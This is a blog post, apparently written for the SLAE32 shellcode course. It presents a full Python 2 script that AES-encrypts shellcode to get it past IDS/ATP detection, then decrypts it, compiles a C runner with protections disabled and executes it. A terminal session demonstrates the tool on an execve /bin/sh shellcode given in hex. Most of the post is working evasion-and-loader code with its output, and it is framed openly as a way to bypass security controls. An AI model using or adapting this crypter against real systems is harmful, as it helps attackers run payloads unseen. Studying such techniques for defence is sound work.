AES Block Cipher script for Shellcodes

4 minute read

Introduction

I think the best way to obfuscate shellcodes to avoid IDS/ATP protection is the polyphormism method, but also encrypting the shellcode could be a valid alternative to bypass those control systems. There are a lot of cipher algorithms outside to choose for this purpose but we need considering some aspects in this case. First we need a strong algorithm to prevent bruteforce on key or frequency analysys attack on ciphered text, second we need our implementation easy to write, easy to use and fast on encrypting/decrypting operations.
First of all we need to choose if we want to implement a stream or block cipher, let’s look at some features:

1. Block Cipher Converts the plain text into cipher text by taking plain text’s block at a time. Stream Cipher Converts the plaint text into cipher text by taking 1 byte of plain text at a time.
2. The complexity of block cipher is simple. Stream cipher is more complex.
3. Block cipher uses confusion as well as diffusion. Stream cipher uses only confusion.

There are many other features to list but this isn’t the scope of this post. If you want to deep learn informations on block and stream ciphers I suggest to read this book.
We choosed a block cipher algorithm. Next decisiom to make is what block cipher algorithm? According to Wikipedia there are a lot of block cipher but one in particular is adopted by the NIST, the Advanced Encryption Standard (AES), wich could encrypt plain text block with a maximum 256 byte key size.

Implementation

Sometimes ago i wrote a python script for my Github Redteam toolbox that works with block ciphers (AES, DES and 3DES). So we’ve only to make some small changes on this script to make it operational on encrypting/decrypting and executing shellcode. The original script works with OFB variant of the AES algorithm that means that i’ve to use alway a different Initiator Vector (IV). In this case we work with CBC mode so the IV could be a fixed 16 bytes string. However the main change to make is to add a function that execute our shellcode once it is decrypted. Taking note that this script works only with python2, here’s the code.

#!/usr/bin/python

# AES Block Cipher script for shellcodes
# Author: @bolonobolo
# Date: 2019/10/18

from Crypto.Cipher import AES
from base64 import b64encode,b64decode
import random
import string
import os

def getMode():
	while True:
		print ("Welcome to AES Block Cipher script for shellcodes")
		print("Do you wish do (e)ncrypt, (d)ecrypt or e(x)ecute?")
		mode = raw_input().lower()
		if mode in "encrypt e decrypt d execute x".split():
			return mode
		else:
			print('Enter either "encrypt" or "e", "decrypt" or "d", "execute" or "x".')

def getMessage():
	print("Enter the text")
	return raw_input()

def getKey():
	print("Enter the key")
	return raw_input()

def getIV():
	# 16 byte iv
	iv = "0123456789abcdef"
	return iv


def genkey(length):
	key = []
	# in ascii one letter = 8 bit = 1 byte 
	# AES needs 128, 192, or 256 bits, i choosed 256 256/8 = 32
	for _ in range (0,length):
		key.append(random.SystemRandom().choice(
				string.ascii_uppercase + string.ascii_lowercase + string.digits
				)) 
	return ''.join(key)

def aes(cipher, key, iv):
	cipher = AES.new(key, AES.MODE_CBC, iv)
	return cipher

def padding(size, text):
	while len(text) % size != 0:
			text += " "
	return text	

def cipherAlgo(key, text, size, iv):
	cipher = aes("aes", key, iv)	
	text = padding(size, text)
	text = cipher.encrypt(text)
	msg = b64encode(text)
	return msg

def decipherAlgo(key, text, iv):
	cipher = aes("aes", key, iv)
	text = b64decode(text)	
	msg = cipher.decrypt(text)
	return msg

def executeAlgo(code):
	code = code.replace(" ", "") # eventualy clean code from blank spaces
	file = open("shellcode.c", "w")
	file.write('''
		#include<stdio.h>
		#include<string.h>

		unsigned char code[] = \"''' + code + '''";

		void main() {

			printf(\"Shellcode Length:  %d\\n\", strlen(code));

			int (*ret)() = (int(*)())code;

			ret();

		}'''
	)
	file.close()
	os.system("gcc -fno-stack-protector -z execstack -m32 shellcode.c -o shellcode 2>/dev/null")
	os.system("./shellcode")

def main():
	mode = getMode()
	text = getMessage()
	iv = getIV()
	if mode[0] == "e":
		key = genkey(32) # 256 bits of key
		size = 16 # block size has to be 16 bytes
		msg = cipherAlgo(key, text, size, iv)
		print("Encrypted shellcode: %s" % (msg))
		print("The key is: %s" % (key))
	elif mode[0] == "d":
		key = getKey()
		msg = decipherAlgo(key, text, iv)
		print("Decrypted shellcode: %s" % (msg))
	elif mode[0] == "x":
		key = getKey()
		msg = decipherAlgo(key, text, iv)
		print("Decrypted shellcode: %s" % (msg))
		executeAlgo(msg)	

if __name__ == '__main__':
	main()

Simple usage

Theentire workflow is very simple, first we need to extract the hexadecimal values of our shellcode with objdump command, next we launch the script choosing the encrypt option, paste our hex string, press enter and obtain the encrypted string and the key. Now we can relauch the script but this time we’ll choose the execute option that decrypt the encrypted shellcode, write a C executer, compile it and execute it.

root@slae32-lab:# objdump -d ../6_polimorphism/execve|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'
"\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80"
root@slae32-lab:# ./aes_executor.py 
Welcome to AES Block Cipher script for shellcodes
Do you wish do (e)ncrypt, (d)ecrypt or e(x)ecute?
e
Enter the text
\x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80
Encrypted shellcode: 2QYEdFCoEH6s9iEa0+57BRONKsF4Ufr71I5mncYiKy2F0X2mupdgtFUKejUn5fUTMk303rxkePzjeDdOyzG1jyjNDn1CyWLYvugabvARSmb0q7PCIO4RA0l1/s/LuVWlvudmXFZrqa7d9VvXDH6QHQ==
The key is: PQZic8H9KiuMrAv2n0Y26cqWkH9CQiAv
root@slae32-lab:# ./aes_executor.py 
Welcome to AES Block Cipher script for shellcodes
Do you wish do (e)ncrypt, (d)ecrypt or e(x)ecute?
x
Enter the text
2QYEdFCoEH6s9iEa0+57BRONKsF4Ufr71I5mncYiKy2F0X2mupdgtFUKejUn5fUTMk303rxkePzjeDdOyzG1jyjNDn1CyWLYvugabvARSmb0q7PCIO4RA0l1/s/LuVWlvudmXFZrqa7d9VvXDH6QHQ==
Enter the key
PQZic8H9KiuMrAv2n0Y26cqWkH9CQiAv
Decrypted shellcode: \x99\xf7\xe2\x8d\x08\xbe\x2f\x2f\x73\x68\xbf\x2f\x62\x69\x6e\x51\x56\x57\x8d\x1c\x24\xb0\x0b\xcd\x80            
Shellcode Length:  25
# exit
root@slae32-lab:# ls
aes_executor.py  shellcode  shellcode.c

For our test we choose the last 25 bytes execve /bin/sh shellcode.

Nice!

All the codes used in this post are available in my dedicated github repo.

This blog post has been created for completing the requirements
of the SecurityTube Linux Assembly Expert certification: SLAE32 Course
Student ID: SLAE-1476